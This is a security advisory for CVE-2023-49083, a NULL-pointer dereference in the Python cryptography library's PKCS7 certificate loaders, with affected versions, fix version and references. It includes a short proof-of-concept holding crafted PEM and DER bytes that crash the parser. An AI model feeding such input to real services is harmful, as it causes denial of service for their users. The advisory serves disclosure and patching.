CVE-2023-49083
cryptography vulnerable to NULL-dereference when loading PKCS7 certificates
Impact
### Summary Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. ### PoC Here is a Python code that triggers the issue: ```python from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) ``` ### Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| pip | cryptography | >= 3.1, < 41.0.6 | 41.0.6 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Cryptography.Io | Cryptography | from 3.1 before 41.0.6 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/pyca/cryptography/commit/f09c261ca10a31fe41b1262306db7f8f1da0e48a
- https://github.com/pyca/cryptography/pull/9926
- https://github.com/pyca/cryptography/security/advisories/GHSA-jfhm-5ghh-2f97
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QMNTYMUGFJSDBYBU22FUYBHFRZODRKXV/
- https://lists.debian.org/debian-lts-announce/2024/10/msg00012.html
- https://github.com/advisories/GHSA-jfhm-5ghh-2f97
- https://nvd.nist.gov/vuln/detail/CVE-2023-49083
- http://www.openwall.com/lists/oss-security/2023/11/29/2
- https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2023-254.yaml
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QMNTYMUGFJSDBYBU22FUYBHFRZODRKXV